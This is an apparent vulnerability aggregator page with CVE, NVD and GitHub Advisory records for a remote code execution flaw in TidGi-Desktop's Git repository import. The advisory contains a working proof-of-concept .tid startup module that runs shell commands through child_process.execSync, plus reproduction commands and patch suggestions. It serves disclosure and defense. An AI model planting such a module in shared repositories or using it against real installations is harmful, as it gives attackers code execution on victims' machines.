tiddly-gittly TidGi-Desktop Git Repository Import loadWikiTiddlersWithSubWikis.ts code injection

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

A vulnerability was found in tiddly-gittly TidGi-Desktop up to 0.13.0. This impacts an unknown function of the file src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts of the component Git Repository Import. The manipulation results in code injection. The attack may be performed from remote. The exploit has been made public and could be used.

Source published

5 Jul 2026 07:30:08 UTC

Source modified

6 Jul 2026 17:52:01 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

CVSS 3.1 · 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R

CVSS 3.0 · 7.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R

CVSS 2.0 · 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:ND/RC:UR

A vulnerability was found in tiddly-gittly TidGi-Desktop up to 0.13.0. This impacts an unknown function of the file src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts of the component Git Repository Import. The manipulation results in code injection. The attack may be performed from remote. The exploit has been made public and could be used.

Source published

5 Jul 2026 08:16:26 UTC

Source modified

25 Oct 2026 15:10:00 UTC

Observed here

27 Oct 2026 06:23:27 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 5.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CVSS 2.0 · [email protected] · Secondary · 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P

## Description TidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in `.tid` files placed in the wiki's `tiddlers/` directory: 1. **Auto-loading of `.tid` files** (`src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`) — when TidGi boots a wiki workspace, `loadWikiTiddlers` reads all `.tid` files from the filesystem and adds them to the wiki store via `wiki.addTiddlers()`. 2. **Automatic module registration** (`node_modules/tiddlywiki/boot/boot.js:2564-2565`) — `defineTiddlerModules()` iterates all tiddlers in the store. Any tiddler with a `module-type` field is passed to `$tw.modules.define()`, registering it as an executable module. 3. **Automatic startup execution** (`node_modules/tiddlywiki/boot/boot.js:2572-2634`) — all registered modules of type `"startup"` are collected and their `exports.startup()` function is called during the boot sequence. When no `platforms` restriction is set, `doesTaskMatchPlatform()` returns `true`, and the startup function executes with full Node.js `require()` access in the Wiki Worker process. The full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — `require('child_process').execSync()` successfully executed arbitrary shell commands. ## Affected Product - **Product**: TidGi Desktop - **Vendor**: Lin Onetwo (https://github.com/tiddly-gittly) - **Repository**: https://github.com/tiddly-gittly/TidGi-Desktop - **Affected Versions**: 0.13.0 (latest release) - **Components**: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts` (tiddler loading), `src/services/wiki/wikiWorker/startNodeJSWiki.ts` (wiki boot), `node_modules/tiddlywiki/boot/boot.js` (TiddlyWiki core — `defineTiddlerModules`, startup dispatch) - **Package**: tidgi (npm) ## Vulnerability Details ### Root Cause 1 — `.tid` Files Auto-Loaded Before Module Processing **File: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`** ```typescript const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath); for (const tiddlerFile of tiddlerFiles) { // Register file info for filesystem adaptor // ... // Add tiddlers to wiki wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers); // ← Line 92 } ``` **File: `src/services/wiki/wikiWorker/startNodeJSWiki.ts:256`** ```typescript wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH }); ``` This triggers `$tw.boot.startup()`, which internally calls `loadStartup()` → `loadTiddlersNode()` → `$tw.loadWikiTiddlers($tw.boot.wikiPath)` (boot.js:2381). TidGi overrides `loadWikiTiddlers` at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all `.tid` files from the main wiki's `tiddlers/` directory. ### Root Cause 2 — Automatic Module Registration via `module-type` Field **File: `node_modules/tiddlywiki/boot/boot.js:1514-1534`** — `defineTiddlerModules()` ```javascript $tw.Wiki.prototype.defineTiddlerModules = function() { this.each(function(tiddler,title) { if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) { switch(tiddler.fields.type) { case "application/javascript": $tw.modules.define( tiddler.fields.title, // "$:/plugins/poc/startup.js" tiddler.fields["module-type"], // "startup" tiddler.fields.text // attacker's JS code ); break; } } }); }; ``` This function is called during `execStartup()` (boot.js:2565), **after** `loadStartup()` has already loaded all `.tid` files into the wiki store. Any tiddler with `module-type: startup` and `type: application/javascript` is automatically registered as an executable module. ### Root Cause 3 — Automatic Startup Execution with Full Node.js Access **File: `node_modules/tiddlywiki/boot/boot.js:2572-2576`** — Collecting startup modules ```javascript $tw.boot.remainingStartupModules = []; $tw.modules.forEachModuleOfType("startup", function(title, module) { if(module.startup) { $tw.boot.remainingStartupModules.push(module); // ← attacker's module collected } }); ``` **File: `node_modules/tiddlywiki/boot/boot.js:2631-2634`** — Executing startup ```javascript if(!$tw.utils.hop(task,"synchronous") || task.synchronous) { const thenable = task.startup(); // ← exports.startup() called ``` **File: `node_modules/tiddlywiki/boot/boot.js:2658-2677`** — Platform check (passes without explicit `platforms`) ```javascript $tw.boot.doesTaskMatchPlatform = function(taskModule) { var platforms = taskModule.platforms; if(platforms) { // ... check each platform ... return false; // ← only rejects if platforms is explicitly set } return true; // ← no platforms field → passes unconditionally }; ``` ### Complete Boot Sequence (verified against TiddlyWiki 5.4.0) ``` $tw.boot.startup() // boot.js:2589 ├── initStartup() // boot.js:2393 ├── loadStartup() // boot.js:2538 │ └── loadTiddlersNode() // boot.js:2356 │ └── $tw.loadWikiTiddlers(wikiPath) // boot.js:2381 │ └── wiki.addTiddlers(...) // loads .tid files into store └── execStartup() // boot.js:2553 ├── defineShadowModules() // boot.js:2564 ├── defineTiddlerModules() // boot.js:2565 ← registers attacker's module ├── forEachModuleOfType("startup", ...) // boot.js:2572 ← collects startup modules └── executeNextStartupTask() // boot.js:2611 └── task.startup() // boot.js:2634 ← exports.startup() executes ``` ### Exploitation Conditions - **No authentication required** — importing a wiki is a standard feature - **Only user interaction**: click "Add Workspace" → select folder/URL → confirm ### Complete Attack Flow ``` ┌──────────────────────────────────────────────────────────────┐ │ Step 1: Attacker creates a malicious TiddlyWiki repository │ ├──────────────────────────────────────────────────────────────┤ │ tiddlers/$__plugins__poc__startup.js.tid: │ │ │ │ title: $:/plugins/poc/startup.js │ │ type: application/javascript │ │ module-type: startup │ │ │ │ exports.startup = function() { │ │ require('child_process').execSync('calc'); │ │ }; │ │ │ │ + tiddlywiki.info + any other wiki files │ └──────────────────────────────────────────────────────────────┘ ↓ ┌──────────────────────────────────────────────────────────────┐ │ Step 2: Victim imports the repository into TidGi Desktop │ ├──────────────────────────────────────────────────────────────┤ │ Add Workspace → Clone Git Repository / Open Local Folder │ │ → TidGi boots the wiki │ └──────────────────────────────────────────────────────────────┘ ↓ ┌──────────────────────────────────────────────────────────────┐ │ Step 3: RCE — startup module auto-executes in Node.js Worker │ ├──────────────────────────────────────────────────────────────┤ │ loadWikiTiddlers loads .tid file → wiki.addTiddlers() │ │ boot.startup() → execStartup() │ │ defineTiddlerModules() → $tw.modules.define("startup", ...) │ │ executeNextStartupTask() → exports.startup() │ │ → require('child_process').execSync('...') executes │ └──────────────────────────────────────────────────────────────┘ ``` ## Proof of Concept ### Minimal `.tid` File (place in `tiddlers/` directory) ``` title: $:/plugins/poc/startup.js type: application/javascript module-type: startup exports.startup = function() { require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt'); console.log('STARTUP_EXECUTED'); }; ``` ### Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26) ``` $ node -e " const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki(); \$tw.boot.argv = ['/tmp/evil-wiki']; \$tw.boot.startup(); " STARTUP_EXECUTED $ ls -la /tmp/TidGi-RCE-PoC.txt -rw-r--r-- 1 nuii wheel 0 Jun 3 00:01 /tmp/TidGi-RCE-PoC.txt ``` The message `STARTUP_EXECUTED` printed from within the attacker's `exports.startup()` function, and the file `/tmp/TidGi-RCE-PoC.txt` was created by `execSync('touch ...')`, confirming arbitrary command execution. ## Impact | Capability | Status | Details | |-----------|--------|---------| | Remote Code Execution | ✅ Full Node.js access | `require('child_process')` available | | Arbitrary File Read | ✅ | `require('fs').readFileSync()` | | Arbitrary File Write | ✅ | `require('fs').writeFileSync()` | | Reverse Shell | ✅ | Node.js `net` module | | Persistence | ✅ | Write to startup scripts, LaunchAgents, crontab | | User Interaction | 1 click | Import repository | | Cross-Platform | ✅ | Windows, macOS, Linux | ## Reproduction Evidence ### Step 1 — Malicious `.tid` file content ``` title: $:/plugins/poc/startup.js type: application/javascript module-type: startup exports.startup = function() { require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt'); console.log('STARTUP_EXECUTED'); }; ``` ### Step 2 — TiddlyWiki boot with malicious wiki at `/tmp/evil-wiki` ``` $ node -e " const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki(); \$tw.boot.argv = ['/tmp/evil-wiki']; \$tw.boot.startup(); " STARTUP_EXECUTED ``` ### Step 3 — Verified RCE: `/tmp/TidGi-RCE-PoC.txt` created ``` $ ls -la /tmp/TidGi-RCE-PoC.txt -rw-r--r-- 1 nuii wheel 0 Jun 3 00:01 /tmp/TidGi-RCE-PoC.txt ``` ## Patch Recommendation ### Fix 1: Disallow `module-type` on User Tiddlers TiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define `module-type`. ```typescript // In defineTiddlerModules() or equivalent if (tiddler.hasField("module-type") && !tiddler.fields.title.startsWith("$:/")) { // User tiddler — silently drop module-type field return; } ``` ### Fix 2: Sandbox User Modules If user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins: ```typescript // Replace direct require access with a restricted API surface const vm = require('vm'); const sandbox = { console, $tw, Buffer }; vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 }); ``` ### Fix 3: Whitelist Allowed `module-type` Values Only allow known safe `module-type` values for user tiddlers: ```typescript const ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filter', 'parser']; if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) { return; // Block startup, library, saver, etc. } ```

Source published

14 Jul 2026 19:52:41 UTC

Source modified

14 Jul 2026 20:00:43 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL